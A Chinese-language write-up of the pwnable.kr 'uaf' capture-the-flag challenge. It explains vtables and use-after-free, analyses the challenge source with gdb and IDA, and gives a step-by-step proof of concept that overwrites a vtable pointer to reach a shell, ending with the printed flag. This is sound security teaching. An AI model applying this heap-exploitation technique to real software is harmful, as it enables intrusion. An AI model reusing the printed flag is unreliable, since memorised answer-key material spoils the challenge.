uaf - pwnable
uaf - pwnable
预备知识
虚函数的内存地址空间
在c++中,如果类中有虚函数(如下图中的 virtual void give_shell()),那么它就是有一个虚函数表的指针__vfptr,在类对象最开始的内存数据中。之后是类中的成员变量的内存数据。
对于子类,最开始的内存数据记录着父类对象的拷贝(包含父类虚函数表指针和成员变量)。之后是子类自己的成员变量数据。
子类的继承也分几种,分别是:
单一继承,无虚函数重载
单一继承,重载了虚函数
多重继承
总结
如果一个类中虚函数,那么就会建立一张虚函数表vtable,子类继承父类的vtable。
若父类vtable中包含私有(private)虚函数,子类vtable同样具有该函数的地址。并不是直接继承了私有虚函数。
当子类重载父类虚函数时,修改vtable同名函数地址,改为指向子类新定义的函数地址(子类修改父类中已有虚函数,vtable就更新对应虚函数的地址)。若子类中有新的虚函数,在vtable末尾添加。
一个类(无论父类子类)只有一个vtable,可以有多个__vfptr。__vfptr指向的是vtable。
Use-After-Free
Dangling pointer即指向被释放的内存的指针,通常是由于释放内存后,未将指针置为NULL。
UAF原理就是对Dangling pointer所指向的内存进行使用
基本利用思路:将Dangling pointer所指向的内存重新分配回来,且尽可能使该内存的内容可能(如重新分配字符串、任意地址跳转)
下面结合图解释一下:
首先我们申请了一个堆空间里面存放有int id、char *name、int(\*func)()
,指针是p(如左图)。
然后我们释放(free)堆p。
接着再次申请相同大小的堆p2(char *p2=(char*)malloc(12))。然后向堆中写入内存地址。
由于p与p2申请堆空间相同,系统可能分配了相同的内存地址给堆p2。p在没有设置为NULL时,假如程序调用原来的堆p中的函数,实际上调用堆p2中我们写入的函数。
总结
UAF错误的原因:
导致程序出错和发生异常的各种条件
程序负责释放内存的指令发生混乱
其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为恶性迷途指针)
UAF漏洞的利用:
- 先搞出来一个迷途指针
- 精心构造数据填充被释放的内存区域
- 再次使用该指针,让填充的数据使eip发生跳转。
C++ delete
为某个内容开辟空间,并设置指向该空间的指针p,delete之后,下次再重新申请的时候可以再申请这块内存地址,也就是将这块地址放到了空闲链表上,对于这块地址的内容,没有进行清空处理(也没有必要);由于你没有将p赋为NULL,所以p指针还是指向这块内存空间。
如果不delete的话,你这块内存是不能在申请使用的,也就是所谓的内存泄露。
对于delete之后的指针p,此时是"野指针"。
题目源码
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;class Human{private:virtual void give_shell(){system("/bin/sh");}
protected:int age;string name;
public:virtual void introduce(){cout << "My name is " << name << endl;cout << "I am " << age << " years old" << endl;}
};class Man: public Human{public:Man(string name, int age){this->name = name;this->age = age;}virtual void introduce(){Human::introduce();cout << "I am a nice guy!" << endl;}
};class Woman: public Human{public:Woman(string name, int age){this->name = name;this->age = age;}virtual void introduce(){Human::introduce();cout << "I am a cute girl!" << endl;}
};int main(int argc, char* argv[]){Human* m = new Man("Jack", 25);Human* w = new Woman("Jill", 21);size_t len;char* data;unsigned int op;while(1){cout << "1. use\n2. after\n3. free\n";cin >> op;switch(op){case 1:m->introduce();w->introduce();break;case 2:len = atoi(argv[1]);data = new char[len];read(open(argv[2], O_RDONLY), data, len);cout << "your data is allocated" << endl;break;case 3:delete m;delete w;break;default:break;}}return 0;
}
题目给出了源码,那就直接分析源码吧。
源码中:
建立了一个Human类(第八行)
Man、Women类都是继承Human类
main函数一开始就初始化得到了Man、Women的两个实例。
Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21);
初始化后就是一个switch的选择分支:
1
调用实例中的introduce()函数2
申请堆空间,并写其中写入某些内容3
释放m、w两个实例的堆空间
在Human类中,发现有give_shell()函数,只要我们能够让程序调用这个函数就获得了shell,有足够的权限得到flag
我们先来看看释放堆空间的源码:
case 3:delete m;delete w;break;
前面提到过,在程序delete w、m时,堆空间的内容没有被删除,仍然存储在内存上,只是在链表上被标注为空间可被分配。
程序正常情况下只会调用introduce()函数,那么我们可以将introduce()的内存地址覆盖为give_shell()内存地址。这样程序在调用introduce()时,就等于调用了give_shell()
那么现在问题就转化为:怎么覆盖introduce()地址
覆写的基本思路是:
程序运行即实例化对象m、w。
然后我们释放掉两个堆空间。
再申请相同大小的两个堆空间,写入give_shell()地址覆盖introduce()地址。
Q:为什么要申请两个相同大小的堆空间?
A:相同大小是确保系统分配,初始化时堆所使用的内存空间给我们;两个实例堆都被释放了,所有需要申请两个堆空间。
我们来看一下2
申请堆空间的源码:
case 2:len = atoi(argv[1]);data = new char[len];read(open(argv[2], O_RDONLY), data, len);cout << "your data is allocated" << endl;break;
从参数2中读取参数1长度的内容,写入到data堆中。
现在问题转化为:堆空间大小?give_shell()的内存地址
将uaf从服务器下载下来,然后丢到ida分析。
22行申请了man实例的堆空间大小为0x18字节,也就是24字节
从源码中我们已经的得知了:give_shell()是虚函数,也就是说它的位置由vtable记录,我们需要找到vtable的位置,然后从表中查询到give_shell()的内存地址。
vtable是在实例的堆空间中的第一个位(低地址)。那么我们就用gdb,在实例建立之后,查询实例的地址,接着查询实例的内存地址空间内容,从而得到vtabel地址。
Man实例化后存储在rbx中,我们就在下一行(0x0000000000400F18)打断点。
gdb-peda$ b *0x0000000000400F18
Breakpoint 1 at 0x400f18
gdb-peda$ run
Starting program: /home/skye/pwnable.kr/uaf/uaf
[----------------------------------registers-----------------------------------]
RAX: 0xc50ea0 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>: push rbp)
RBX: 0xc50ea0 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>: push rbp)
RCX: 0xc50ea0 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>: push rbp)
RDX: 0x19
RSI: 0x7ffd67832590 --> 0xc50e88 --> 0x6b63614a ('Jack')
RDI: 0x7f9720aff300 --> 0x0
RBP: 0x7ffd678325e0 --> 0x4013b0 (<__libc_csu_init>: mov QWORD PTR [rsp-0x28],rbp)
RSP: 0x7ffd67832580 --> 0x7ffd678326c8 --> 0x7ffd67834318 ("/home/skye/pwnable.kr/uaf/uaf")
RIP: 0x400f18 (<main+84>: mov QWORD PTR [rbp-0x38],rbx)
R8 : 0xc3f010 --> 0x0
R9 : 0x0
R10: 0x6
R11: 0x7f9720a07240 (<_ZNSs6assignERKSs>: push r12)
R12: 0x7ffd67832590 --> 0xc50e88 --> 0x6b63614a ('Jack')
R13: 0x7ffd678326c0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]0x400f0d <main+73>: mov rsi,r120x400f10 <main+76>: mov rdi,rbx0x400f13 <main+79>: call 0x401264 <_ZN3ManC2ESsi>
=> 0x400f18 <main+84>: mov QWORD PTR [rbp-0x38],rbx0x400f1c <main+88>: lea rax,[rbp-0x50]0x400f20 <main+92>: mov rdi,rax0x400f23 <main+95>: call 0x400d00 <_ZNSsD1Ev@plt>0x400f28 <main+100>: lea rax,[rbp-0x12]
[------------------------------------stack-------------------------------------]
0000| 0x7ffd67832580 --> 0x7ffd678326c8 --> 0x7ffd67834318 ("/home/skye/pwnable.kr/uaf/uaf")
0008| 0x7ffd67832588 --> 0x10000ffff
0016| 0x7ffd67832590 --> 0xc50e88 --> 0x6b63614a ('Jack')
0024| 0x7ffd67832598 --> 0x401177 (<_GLOBAL__sub_I_main+19>: pop rbp)
0032| 0x7ffd678325a0 --> 0x1
0040| 0x7ffd678325a8 --> 0x40140d (<__libc_csu_init+93>: add rbx,0x1)
0048| 0x7ffd678325b0 --> 0x7f9720b29b20 (push rbp)
0056| 0x7ffd678325b8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, valueBreakpoint 1, 0x0000000000400f18 in main ()
gdb-peda$ p /x $rbx
$1 = 0xc50ea0
gdb-peda$ x /10a 0xc50ea0
0xc50ea0: 0x401570 <_ZTV3Man+16> 0x19 //虚表地址
0xc50eb0: 0xc50e88 0xf151
0xc50ec0: 0x0 0x0
0xc50ed0: 0x0 0x0
0xc50ee0: 0x0 0x0
我们得到Man实例的vtable地址:0xc50ea0: 0x401570 <_ZTV3Man+16> 0x19
为了方便查看,我们回到IDA中,跳转到0x401570
现在我们知道了__vfptr指针一开始就指向了give_shell(),introduce()比give_shell()地址高8位。
我们需要知道指针进行了怎样运行,最终指向了introduce()。
我们在IDA中找到调用introduce对应的代码。
初始指针地址加上偏移地址8,刚刚好指向introduce在vtable中的地址。其中的v12、v13对应的就是实例Man、Women。
那么我们需要做的就是将__vftable虚表指针前移8个字节,这样call [vptr+8]就调用give_shell()。
0x401570-0x8=0x401568->\x68\x15\x40\x00\x00\x00\x00\x00
前面我们也分析知道了:程序是从参数2中读取需要写入堆的内容。那么我们需要提前准备好一个文档,内容为\x68\x15\x40\x00\x00\x00\x00\x00
Q:跳转到0x401570后,发现三个虚表,那为什么要用Man虚表下面的give_shell()?
A:三个虚表中的give_shell()都可以
完整POC
- 准备覆盖地址的文件
- free两个实例的堆空间
- after(malloc分配)两次,申请并写入两个堆空间
- run
skye@skye-ubuntu:~/pwnable.kr/uaf$ ssh uaf@pwnable.kr -p2222
uaf@prowl:~$ python2
Python 2.7.12 (default, Nov 12 2018, 14:36:49)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> file = open("/tmp/uaf_2.txt","wb")
>>> file.write(p64(0x401570-0x8))
>>> file.close()
>>> exit()
uaf@prowl:~$ ./uaf 24 /tmp/uaf_2.txt
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning
uaf - pwnable相关推荐
- PWN uaf [pwnable.kr]CTF writeup题解系列13
目录 0x01题目 0x02解题思路 0x03题解 0x01题目 0x02解题思路 题目都已经介绍了这是一道Use After Free的题目,那我们就不用多想了,先看看题目主要内容 root@myp ...
- pwnable.kr [Toddler's Bottle] - uaf
Mommy, what is Use After Free bug? ssh uaf@pwnable.kr -p2222 (pw:guest) 根据提示已经可以知道这里需要我们利用漏洞Use-Afte ...
- pwnable.kr 简单题目详细笔记汇总
文章目录 fd collision bof flag passcode random input leg mistake shellshock coin1 lotto cmd1 cmd2 uaf bl ...
- Linux 二进制漏洞挖掘入门系列之(五)UAF 漏洞分析与利用
0x10 UAF(Use After Free) 漏洞原理 这里,需要先介绍一下堆分配内存的原则.ptmalloc 是 glibc 的堆管理器,前身是 dlmalloc,Linux 中进程分配内存的两 ...
- Pwnable之[Toddler's Bottle](三)--UAF
Pwnable之[Toddler's Bottle]–UAF UAF,use-after-free 顾名思义,就是释放过内存的重利用. 根据操作系统里的内存分配就知道,当分配给的一个代码释放后,如果再 ...
- [pwnable.kr]uaf
先贴上uaf.cpp的源码 #include <fcntl.h> #include <iostream> #include <cstring> #include & ...
- Pwnable.kr
Dragon -- 堆之 uaf 开始堆的学习之旅. uaf漏洞利用到了堆的管理中fastbin的特性,关于堆的各种分配方式参见堆之*bin理解 在SecretLevel函数中,发现了隐藏的syste ...
- pwnable.kr之Toddler‘s Bottle 9~16题知识点记录
文章目录 第九题 mistake 总结 答案: 第十题 shellshock env指令 bash指令 解题 第十一题 coin1 findall(pattern, string, flags=0) ...
- 【pwnable】asm之write up
首先查看源代码: #include <stdio.h> #include <string.h> #include <stdlib.h> #include <s ...
最新文章
- 阿里P7架构师告诉你Java架构师必须知道的 6 大设计原则
- 马云的 ATM 梦实现了
- CircleProgressView
- 分库分表就能无限扩容吗,解释得太好了!
- 【深度学习】近几年,关于基于Imagenet数据集图像分类的模型总结
- 为什么会用这个工具的产品经理,越来越值钱?
- ThinkPHP6项目基操(15.实战部分 阿里云短信redis)
- Struts2的手工自定义验证--完整实例代码
- 论文笔记:STD2P: RGBD Semantic Segmentation Using Spatio-Temporal Data-Driven Pooling
- 检测到你的手机处于root环境_玩手游多开还在用模拟器?云手机了解一下
- 现代通信理论与新技术 - 填空自测
- 《颠覆我认知的30篇文章 》阅读笔记(一)
- linux top命令最详细解释
- OpenCV开发笔记(四十八):红胖子8分钟带你深入了解直方图均衡化(图文并茂+浅显易懂+程序源码)
- 室内环境下的3D 目标检测调研
- 历尽千帆过尽,归来,又是一年毕业季
- 基于FPGA的单目内窥镜定位系统设计(中)
- python列表推导式是什么
- 微信小程序的准备工作
- 网页制作精华代码大全
热门文章
- SCARA机器人运动学模型建立
- NRF52840学习历程(八)IIC协议0.96OLED屏幕
- 基于SOM-TL437x核心板研发的一款TI ARM Cortex-A9开发板 6JTAG仿真器接口
- Zookeeper启动流程浅析
- 温度补偿计算公式_测量的温度补偿的原则与方法
- python zookeeper kazoo实现分布式锁
- 业余程序员余流 - 杂谈 之 《每个人都有自己的选择》
- android 屏幕快捷键是什么,Android在主屏幕上创建快捷方式
- 智慧应急指挥平台解决方案 PPT
- 揭开SAP Solution Manager神秘面纱